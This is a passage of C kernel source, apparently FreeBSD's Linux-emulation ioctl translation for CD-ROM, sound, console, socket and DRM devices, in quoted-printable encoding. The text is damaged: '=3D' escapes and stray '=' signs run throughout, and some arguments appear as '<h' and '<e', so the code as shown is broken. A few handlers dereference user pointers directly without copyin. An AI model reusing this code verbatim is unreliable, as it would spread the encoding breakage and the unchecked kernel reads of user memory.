u_char cdth_trk0; u_char cdth_trk1; }; union linux_cdrom_addr { struct { u_char minute; u_char second; u_char frame; } msf; int lba; }; struct linux_cdrom_tocentry { u_char cdte_track; = u_char cdte_adr:4; u_char cdte_ctrl:4; u_char cdte_format; = union linux_cdrom_addr cdte_addr; u_char cdte_datamode; = }; struct linux_cdrom_subchnl { u_char cdsc_format; u_char cdsc_audiostatus; u_char cdsc_adr:4; u_char cdsc_ctrl:4; u_char cdsc_trk; u_char cdsc_ind; union linux_cdrom_addr cdsc_absaddr; union linux_cdrom_addr cdsc_reladdr; }; static void bsd_to_linux_msf_lba(u_char af, union msf_lba *bp, union linux_cdrom_addr= *lp) { if (af =3D=3D CD_LBA_FORMAT) lp->lba =3D bp->lba; else { lp->msf.minute =3D bp->msf.minute; lp->msf.second =3D bp->msf.second; lp->msf.frame =3D bp->msf.frame; } } static void set_linux_cdrom_addr(union linux_cdrom_addr *addr, int format, int lba) { if (format =3D=3D LINUX_CDROM_MSF) { addr->msf.frame =3D lba % 75; lba /=3D 75; lba +=3D 2; addr->msf.second =3D lba % 60; addr->msf.minute =3D lba / 60; } else addr->lba =3D lba; } static int linux_ioctl_cdrom(struct proc *p, struct linux_ioctl_args *args) { struct file *fp =3D p->p_fd->fd_ofiles[args->fd]; int error; switch (args->cmd & 0xffff) { case LINUX_CDROMPAUSE: args->cmd =3D CDIOCPAUSE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_CDROMRESUME: args->cmd =3D CDIOCRESUME; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_CDROMPLAYMSF: args->cmd =3D CDIOCPLAYMSF; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_CDROMPLAYTRKIND: args->cmd =3D CDIOCPLAYTRACKS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_CDROMREADTOCHDR: { struct ioc_toc_header th; struct linux_cdrom_tochdr lth; error =3D fo_ioctl(fp, CDIOREADTOCHEADER, (caddr_t)&th, p); if (!error) { lth.cdth_trk0 =3D th.starting_track; lth.cdth_trk1 =3D th.ending_track; copyout(<h, (caddr_t)args->arg, sizeof(lth)); } return (error); } case LINUX_CDROMREADTOCENTRY: { struct linux_cdrom_tocentry lte, *ltep =3D (struct linux_cdrom_tocentry *)args->arg; struct ioc_read_toc_single_entry irtse; irtse.address_format =3D ltep->cdte_format; irtse.track =3D ltep->cdte_track; error =3D fo_ioctl(fp, CDIOREADTOCENTRY, (caddr_t)&irtse, p); if (!error) { lte =3D *ltep; lte.cdte_ctrl =3D irtse.entry.control; lte.cdte_adr =3D irtse.entry.addr_type; bsd_to_linux_msf_lba(irtse.address_format, &irtse.entry.addr, <e.cdte_addr); copyout(<e, (caddr_t)args->arg, sizeof(lte)); } return (error); } case LINUX_CDROMSTOP: args->cmd =3D CDIOCSTOP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_CDROMSTART: args->cmd =3D CDIOCSTART; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_CDROMEJECT: args->cmd =3D CDIOCEJECT; return (ioctl(p, (struct ioctl_args *)args)); /* LINUX_CDROMVOLCTRL */ case LINUX_CDROMSUBCHNL: { struct linux_cdrom_subchnl sc; struct ioc_read_subchannel bsdsc; struct cd_sub_channel_info *bsdinfo; caddr_t sg =3D stackgap_init(); bsdinfo =3D (struct cd_sub_channel_info*)stackgap_alloc(&sg, sizeof(struct cd_sub_channel_info)); bsdsc.address_format =3D CD_LBA_FORMAT; bsdsc.data_format =3D CD_CURRENT_POSITION; bsdsc.track =3D 0; bsdsc.data_len =3D sizeof(struct cd_sub_channel_info); bsdsc.data =3D bsdinfo; error =3D fo_ioctl(fp, CDIOCREADSUBCHANNEL, (caddr_t)&bsdsc, p); if (error) return (error); error =3D copyin((caddr_t)args->arg, &sc, sizeof(struct linux_cdrom_subchnl)); if (error) return (error); sc.cdsc_audiostatus =3D bsdinfo->header.audio_status; sc.cdsc_adr =3D bsdinfo->what.position.addr_type; sc.cdsc_ctrl =3D bsdinfo->what.position.control; sc.cdsc_trk =3D bsdinfo->what.position.track_number; sc.cdsc_ind =3D bsdinfo->what.position.index_number; set_linux_cdrom_addr(&sc.cdsc_absaddr, sc.cdsc_format, bsdinfo->what.position.absaddr.lba); set_linux_cdrom_addr(&sc.cdsc_reladdr, sc.cdsc_format, bsdinfo->what.position.reladdr.lba); error =3D copyout(&sc, (caddr_t)args->arg, sizeof(struct linux_cdrom_subchnl)); return (error); } /* LINUX_CDROMREADMODE2 */ /* LINUX_CDROMREADMODE1 */ /* LINUX_CDROMREADAUDIO */ /* LINUX_CDROMEJECT_SW */ /* LINUX_CDROMMULTISESSION */ /* LINUX_CDROM_GET_UPC */ case LINUX_CDROMRESET: args->cmd =3D CDIOCRESET; return (ioctl(p, (struct ioctl_args *)args)); /* LINUX_CDROMVOLREAD */ /* LINUX_CDROMREADRAW */ /* LINUX_CDROMREADCOOKED */ /* LINUX_CDROMSEEK */ /* LINUX_CDROMPLAYBLK */ /* LINUX_CDROMREADALL */ /* LINUX_CDROMCLOSETRAY */ /* LINUX_CDROMLOADFROMSLOT */ } return (ENOIOCTL); } /* * Sound related ioctls */ static unsigned dirbits[4] =3D { IOC_VOID, IOC_IN, IOC_OUT, IOC_INOUT }; #define SETDIR(c) (((c) & ~IOC_DIRMASK) | dirbits[args->cmd >> 30]) static int linux_ioctl_sound(struct proc *p, struct linux_ioctl_args *args) { switch (args->cmd & 0xffff) { case LINUX_SOUND_MIXER_WRITE_VOLUME: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_VOLUME); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_BASS: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_BASS); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_TREBLE: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_TREBLE); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_SYNTH: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_SYNTH); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_PCM: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_PCM); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_SPEAKER: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_SPEAKER); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_LINE: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_LINE); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_MIC: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_MIC); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_CD: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_CD); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_IMIX: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_IMIX); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_ALTPCM: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_ALTPCM); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_RECLEV: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_RECLEV); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_IGAIN: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_IGAIN); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_OGAIN: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_OGAIN); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_LINE1: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_LINE1); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_LINE2: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_LINE2); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_MIXER_WRITE_LINE3: args->cmd =3D SETDIR(SOUND_MIXER_WRITE_LINE3); return (ioctl(p, (struct ioctl_args *)args)); case LINUX_OSS_GETVERSION: { int version =3D linux_get_oss_version(p); return (copyout(&version, (caddr_t)args->arg, sizeof(int))); } case LINUX_SOUND_MIXER_READ_DEVMASK: args->cmd =3D SOUND_MIXER_READ_DEVMASK; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_RESET: args->cmd =3D SNDCTL_DSP_RESET; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_SYNC: args->cmd =3D SNDCTL_DSP_SYNC; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_SPEED: args->cmd =3D SNDCTL_DSP_SPEED; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_STEREO: args->cmd =3D SNDCTL_DSP_STEREO; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETBLKSIZE: /* LINUX_SNDCTL_DSP_SETBLKSIZE */ args->cmd =3D SNDCTL_DSP_GETBLKSIZE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_SETFMT: args->cmd =3D SNDCTL_DSP_SETFMT; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_PCM_WRITE_CHANNELS: args->cmd =3D SOUND_PCM_WRITE_CHANNELS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SOUND_PCM_WRITE_FILTER: args->cmd =3D SOUND_PCM_WRITE_FILTER; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_POST: args->cmd =3D SNDCTL_DSP_POST; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_SUBDIVIDE: args->cmd =3D SNDCTL_DSP_SUBDIVIDE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_SETFRAGMENT: args->cmd =3D SNDCTL_DSP_SETFRAGMENT; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETFMTS: args->cmd =3D SNDCTL_DSP_GETFMTS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETOSPACE: args->cmd =3D SNDCTL_DSP_GETOSPACE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETISPACE: args->cmd =3D SNDCTL_DSP_GETISPACE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_NONBLOCK: args->cmd =3D SNDCTL_DSP_NONBLOCK; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETCAPS: args->cmd =3D SNDCTL_DSP_GETCAPS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_SETTRIGGER: /* LINUX_SNDCTL_GETTRIGGER */ args->cmd =3D SNDCTL_DSP_SETTRIGGER; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETIPTR: args->cmd =3D SNDCTL_DSP_GETIPTR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETOPTR: args->cmd =3D SNDCTL_DSP_GETOPTR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_DSP_GETODELAY: args->cmd =3D SNDCTL_DSP_GETODELAY; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_RESET: args->cmd =3D SNDCTL_SEQ_RESET; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_SYNC: args->cmd =3D SNDCTL_SEQ_SYNC; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SYNTH_INFO: args->cmd =3D SNDCTL_SYNTH_INFO; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_CTRLRATE: args->cmd =3D SNDCTL_SEQ_CTRLRATE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_GETOUTCOUNT: args->cmd =3D SNDCTL_SEQ_GETOUTCOUNT; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_GETINCOUNT: args->cmd =3D SNDCTL_SEQ_GETINCOUNT; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_PERCMODE: args->cmd =3D SNDCTL_SEQ_PERCMODE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_FM_LOAD_INSTR: args->cmd =3D SNDCTL_FM_LOAD_INSTR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_TESTMIDI: args->cmd =3D SNDCTL_SEQ_TESTMIDI; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_RESETSAMPLES: args->cmd =3D SNDCTL_SEQ_RESETSAMPLES; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_NRSYNTHS: args->cmd =3D SNDCTL_SEQ_NRSYNTHS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_NRMIDIS: args->cmd =3D SNDCTL_SEQ_NRMIDIS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_MIDI_INFO: args->cmd =3D SNDCTL_MIDI_INFO; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SEQ_TRESHOLD: args->cmd =3D SNDCTL_SEQ_TRESHOLD; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SNDCTL_SYNTH_MEMAVL: args->cmd =3D SNDCTL_SYNTH_MEMAVL; return (ioctl(p, (struct ioctl_args *)args)); } return (ENOIOCTL); } /* * Console related ioctls */ #define ISSIGVALID(sig) ((sig) > 0 && (sig) < NSIG) static int linux_ioctl_console(struct proc *p, struct linux_ioctl_args *args) { struct file *fp =3D p->p_fd->fd_ofiles[args->fd]; switch (args->cmd & 0xffff) { case LINUX_KIOCSOUND: args->cmd =3D KIOCSOUND; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_KDMKTONE: args->cmd =3D KDMKTONE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_KDGETLED: args->cmd =3D KDGETLED; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_KDSETLED: args->cmd =3D KDSETLED; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_KDSETMODE: args->cmd =3D KDSETMODE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_KDGETMODE: args->cmd =3D KDGETMODE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_KDGKBMODE: args->cmd =3D KDGKBMODE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_KDSKBMODE: { int kbdmode; switch (args->arg) { case LINUX_KBD_RAW: kbdmode =3D K_RAW; break; case LINUX_KBD_XLATE: kbdmode =3D K_XLATE; break; case LINUX_KBD_MEDIUMRAW: kbdmode =3D K_RAW; break; default: return (EINVAL); } return (fo_ioctl(fp, KDSKBMODE, (caddr_t)&kbdmode, p)); } case LINUX_VT_OPENQRY: args->cmd =3D VT_OPENQRY; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_VT_GETMODE: args->cmd =3D VT_GETMODE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_VT_SETMODE: { struct vt_mode *mode; args->cmd =3D VT_SETMODE; mode =3D (struct vt_mode *)args->arg; if (!ISSIGVALID(mode->frsig) && ISSIGVALID(mode->acqsig)) mode->frsig =3D mode->acqsig; return (ioctl(p, (struct ioctl_args *)args)); } case LINUX_VT_GETSTATE: args->cmd =3D VT_GETACTIVE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_VT_RELDISP: args->cmd =3D VT_RELDISP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_VT_ACTIVATE: args->cmd =3D VT_ACTIVATE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_VT_WAITACTIVE: args->cmd =3D VT_WAITACTIVE; return (ioctl(p, (struct ioctl_args *)args)); } = return (ENOIOCTL); } /* * Socket related ioctls */ static int linux_ioctl_socket(struct proc *p, struct linux_ioctl_args *args) { switch (args->cmd & 0xffff) { case LINUX_FIOSETOWN: args->cmd =3D FIOSETOWN; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCSPGRP: args->cmd =3D SIOCSPGRP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_FIOGETOWN: args->cmd =3D FIOGETOWN; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCGPGRP: args->cmd =3D SIOCGPGRP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCATMARK: args->cmd =3D SIOCATMARK; return (ioctl(p, (struct ioctl_args *)args)); /* LINUX_SIOCGSTAMP */ case LINUX_SIOCGIFCONF: args->cmd =3D OSIOCGIFCONF; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCGIFFLAGS: args->cmd =3D SIOCGIFFLAGS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCGIFADDR: args->cmd =3D OSIOCGIFADDR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCGIFDSTADDR: args->cmd =3D OSIOCGIFDSTADDR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCGIFBRDADDR: args->cmd =3D OSIOCGIFBRDADDR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCGIFNETMASK: args->cmd =3D OSIOCGIFNETMASK; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCGIFHWADDR: { int ifn; struct ifnet *ifp; struct ifaddr *ifa; struct sockaddr_dl *sdl; struct linux_ifreq *ifr =3D (struct linux_ifreq *)args->arg; /* Note that we don't actually respect the name in the ifreq * structure, as Linux interface names are all different. */ for (ifn =3D 0; ifn < if_index; ifn++) { ifp =3D ifnet_addrs[ifn]->ifa_ifp; if (ifp->if_type =3D=3D IFT_ETHER) { ifa =3D TAILQ_FIRST(&ifp->if_addrhead); while (ifa) { sdl=3D(struct sockaddr_dl*)ifa->ifa_addr; if (sdl !=3D NULL && (sdl->sdl_family =3D=3D AF_LINK) && (sdl->sdl_type =3D=3D IFT_ETHER)) { return (copyout(LLADDR(sdl), &ifr->ifr_hwaddr.sa_data, LINUX_IFHWADDRLEN)); } ifa =3D TAILQ_NEXT(ifa, ifa_link); } } } return (ENOENT); } case LINUX_SIOCADDMULTI: args->cmd =3D SIOCADDMULTI; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_SIOCDELMULTI: args->cmd =3D SIOCDELMULTI; return (ioctl(p, (struct ioctl_args *)args)); } return (ENOIOCTL); } /* * linux drm ioctl's */ static int linux_ioctl_drm(struct proc *p, struct linux_ioctl_args *args) { switch (args->cmd & 0xffff) { case LINUX_DRM_IOCTL_VERSION: args->cmd =3D DRM_IOCTL_VERSION; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_GET_UNIQUE: args->cmd =3D DRM_IOCTL_GET_UNIQUE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_GET_MAGIC: args->cmd =3D DRM_IOCTL_GET_MAGIC; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_IRQ_BUSID: args->cmd =3D DRM_IOCTL_IRQ_BUSID; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_SET_UNIQUE: args->cmd =3D DRM_IOCTL_SET_UNIQUE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AUTH_MAGIC: args->cmd =3D DRM_IOCTL_AUTH_MAGIC; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_BLOCK: args->cmd =3D DRM_IOCTL_BLOCK; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_UNBLOCK: args->cmd =3D DRM_IOCTL_UNBLOCK; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_CONTROL: args->cmd =3D DRM_IOCTL_CONTROL; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_ADD_MAP: args->cmd =3D DRM_IOCTL_ADD_MAP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_ADD_BUFS: args->cmd =3D DRM_IOCTL_ADD_BUFS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MARK_BUFS: args->cmd =3D DRM_IOCTL_MARK_BUFS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_INFO_BUFS: args->cmd =3D DRM_IOCTL_INFO_BUFS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MAP_BUFS: args->cmd =3D DRM_IOCTL_MAP_BUFS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_FREE_BUFS: args->cmd =3D DRM_IOCTL_FREE_BUFS; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_ADD_CTX: args->cmd =3D DRM_IOCTL_ADD_CTX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_RM_CTX: args->cmd =3D DRM_IOCTL_RM_CTX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MOD_CTX: args->cmd =3D DRM_IOCTL_MOD_CTX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_GET_CTX: args->cmd =3D DRM_IOCTL_GET_CTX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_SWITCH_CTX: args->cmd =3D DRM_IOCTL_SWITCH_CTX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_NEW_CTX: args->cmd =3D DRM_IOCTL_NEW_CTX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_RES_CTX: args->cmd =3D DRM_IOCTL_RES_CTX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_ADD_DRAW: args->cmd =3D DRM_IOCTL_ADD_DRAW; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_RM_DRAW: args->cmd =3D DRM_IOCTL_RM_DRAW; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_DMA: args->cmd =3D DRM_IOCTL_DMA; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_LOCK: args->cmd =3D DRM_IOCTL_LOCK; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_UNLOCK: args->cmd =3D DRM_IOCTL_UNLOCK; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_FINISH: args->cmd =3D DRM_IOCTL_FINISH; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_ACQUIRE: args->cmd =3D DRM_IOCTL_AGP_ACQUIRE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_RELEASE: args->cmd =3D DRM_IOCTL_AGP_RELEASE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_ENABLE: args->cmd =3D DRM_IOCTL_AGP_ENABLE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_INFO: args->cmd =3D DRM_IOCTL_AGP_INFO; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_ALLOC: args->cmd =3D DRM_IOCTL_AGP_ALLOC; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_FREE: args->cmd =3D DRM_IOCTL_AGP_FREE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_BIND: args->cmd =3D DRM_IOCTL_AGP_BIND; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_AGP_UNBIND: args->cmd =3D DRM_IOCTL_AGP_UNBIND; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MGA_INIT: args->cmd =3D DRM_IOCTL_MGA_INIT; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MGA_SWAP: args->cmd =3D DRM_IOCTL_MGA_SWAP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MGA_CLEAR: args->cmd =3D DRM_IOCTL_MGA_CLEAR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MGA_ILOAD: args->cmd =3D DRM_IOCTL_MGA_ILOAD; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MGA_VERTEX: args->cmd =3D DRM_IOCTL_MGA_VERTEX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MGA_FLUSH: args->cmd =3D DRM_IOCTL_MGA_FLUSH; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_MGA_INDICES: args->cmd =3D DRM_IOCTL_MGA_INDICES; return (ioctl(p, (struct ioctl_args *)args)); #if 0 case LINUX_DRM_IOCTL_MGA_SOMETHING: args->cmd =3D DRM_IOCTL_MGA_SOMETHING; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_I810_INIT: args->cmd =3D DRM_IOCTL_I810_INIT; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_I810_VERTEX: args->cmd =3D DRM_IOCTL_I810_VERTEX; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_I810_CLEAR: args->cmd =3D DRM_IOCTL_I810_CLEAR; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_I810_FLUSH: args->cmd =3D DRM_IOCTL_I810_FLUSH; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_I810_GETAGE: args->cmd =3D DRM_IOCTL_I810_GETAGE; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_I810_GETBUF: args->cmd =3D DRM_IOCTL_I810_GETBUF; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_I810_SWAP: args->cmd =3D DRM_IOCTL_I810_SWAP; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_R128_INIT: args->cmd =3D DRM_IOCTL_R128_INIT; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_R128_RESET: args->cmd =3D DRM_IOCTL_R128_RESET; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_R128_FLUSH: args->cmd =3D DRM_IOCTL_R128_FLUSH; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_R128_CCEID: args->cmd =3D DRM_IOCTL_R128_CCEID; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_R128_PACKET: args->cmd =3D DRM_IOCTL_R128_PACKET; return (ioctl(p, (struct ioctl_args *)args)); case LINUX_DRM_IOCTL_R128_VERTEX: args->cmd =3D DRM_IOCTL_R128_VERTEX; return (ioctl(p, (struct ioctl_args *)args)); #endif } return (ENOIOCTL); } /* * main ioctl syscall function */ int linux_ioctl(struct proc *p, struct linux_ioctl_args *args) { struct filedesc *fdp =3D p->p_fd; struct file *fp; struct handler_element *he; int error, cmd; #ifdef DEBUG printf("Linux-emul(%ld): ioctl(%d, %04lx, *)\n", (long)p->p_pid, args->fd, args->cmd); #endif if ((unsigned)args->fd >=3D fdp->fd_nfiles) return (EBADF); fp =3D fdp->fd_ofiles[args->fd]; if (fp =3D=3D NULL || (fp->f_flag & (FREAD|FWRITE)) =3D=3D 0) return (EBADF); /* Iterate over the ioctl handlers */ cmd =3D args->cmd & 0xffff; TAILQ_FOREACH(he, &handlers, list) { if (cmd >=3D he->low && cmd <=3D he->high) { error =3D (*he->func)(p, args); if (error !=3D ENOIOCTL) return (error); } } printf("linux: 'ioctl' fd=3D%d, cmd=3D%x ('%c',%d) not implemented\n", args->fd, (int)(args->cmd & 0xffff), (int)(args->cmd & 0xff00) >> 8, (int)(args->cmd & 0xff)); return (EINVAL); } int linux_ioctl_register_handler(struct linux_ioctl_handler *h) { struct handler_element *he, *cur; if (h =3D=3D NULL || h->func =3D=3D NULL) return (EINVAL); /* * Reuse the element if the handler is already on the list, otherwise * create a new element. */ TAILQ_FOREACH(he, &handlers, list) { if (he->func =3D=3D h->func) break; } if (he =3D=3D NULL) { MALLOC(he, struct handler_element *, sizeof(*he), M_LINUX, M_WAITOK); he->func =3D h->func; } else TAILQ_REMOVE(&handlers, he, list); = /* Initialize range information. */ he->low =3D h->low; he->high =3D h->high; he->span =3D h->high - h->low + 1; /* Add the element to the list, sorted on span. */ TAILQ_FOREACH(cur, &handlers, list) { if (cur->span > he->span) { TAILQ_INSERT_BEFORE(cur, he, list); return (0); } } TAILQ_INSERT_TAIL(&handlers, he, list); return (0); } int linux_ioctl_unregister_handler(struct linux_ioctl_handler *h) { struct handler_element *he; if (h =3D=3D NULL || h->func =3D=3D NULL) return (EINVAL); TAILQ_FOREACH(he, &handlers, list) { if (he->func =3D=3D h->func) { TAILQ_REMOVE(&handlers, he, list); FREE(he, M_LINUX); return (0); } } return (EINVAL); } int linux_ioctl_register_handlers(struct linker_set *s) { int error, i; if (s =3D=3D NULL) return (EINVAL); for (i =3D 0; i < s->ls_length; i++) { error =3D linux_ioctl_register_handler(s->ls_items[i]); if (error) return (error); } return (0); } int linux_ioctl_unregister_handlers(struct linker_set *s) { int error, i; if (s =3D=3D NULL) return (EINVAL); for (i =3D 0; i < 